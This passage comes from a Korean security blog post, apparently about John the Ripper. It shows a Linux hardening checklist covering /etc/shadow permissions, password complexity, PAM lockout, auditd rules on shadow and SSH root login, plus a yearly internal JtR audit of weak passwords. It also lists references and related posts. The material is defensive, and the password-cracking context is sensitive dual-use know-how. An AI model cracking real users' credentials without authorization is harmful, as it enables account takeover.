root:shadow 소유 및 -rw-r----- 유지 |
| 패스워드 복잡도 강제 | cat /etc/security/pwquality.conf |
minlen=12, ucredit=-1, dcredit=-1 |
| 계정 잠금(Lockout) 점검 | grep pam_faillock /etc/pam.d/common-auth |
deny=5 unlock_time=1800 등 룰셋 존재 |
| 커널 Auditd 룰셋 점검 | `auditctl -l | grep shadow` |
| SSH 빈 계정/루트 접속 | grep PermitRootLogin /etc/ssh/sshd_config |
PermitRootLogin no 및 PermitEmptyPasswords no |
| JtR을 활용한 자체 점검 | (보안팀 정기 Task) | 연 1회 JtR 구동으로 약한 패스워드 임직원 색출 |
11. 공식 레퍼런스 (References)
- Openwall John the Ripper 공식 페이지:
https://www.openwall.com/john/ - John the Ripper Jumbo GitHub Repo:
https://github.com/openwall/john - MITRE ATT&CK - Credential Access:
https://attack.mitre.org/tactics/TA0006/
12. 결론 및 비즈니스 임팩트 (Wrap-up)
엔지니어링 방어 철학
CISO 및 보안 관리 관점
💡 Related Posts
- 👉 리눅스 서버 초기 구축 시 필수 OS 하드닝 가이드 및 PAM 설정
- 👉 Wazuh와 Graylog를 연동한 파일 무결성 모니터링(FIM) 아키텍처
- 👉 [위협 헌팅] RCE 공격 이후 발생하는 LPE(로컬 권한 상승) 기법 분석
오류나 기술적 추가 질문은 언제든 댓글로 남겨 주세요.
'보안 기술 > 해킹 툴' 카테고리의 다른 글
| ffuf (Fuzz Faster U Fool) (0) | 2026.05.14 |
|---|---|
| Responder (0) | 2026.04.08 |
| AWS CLI (0) | 2026.04.08 |
| Impacket(psexec.py) (0) | 2026.04.08 |
| Netcat(nc) (0) | 2026.04.08 |
Discussion 0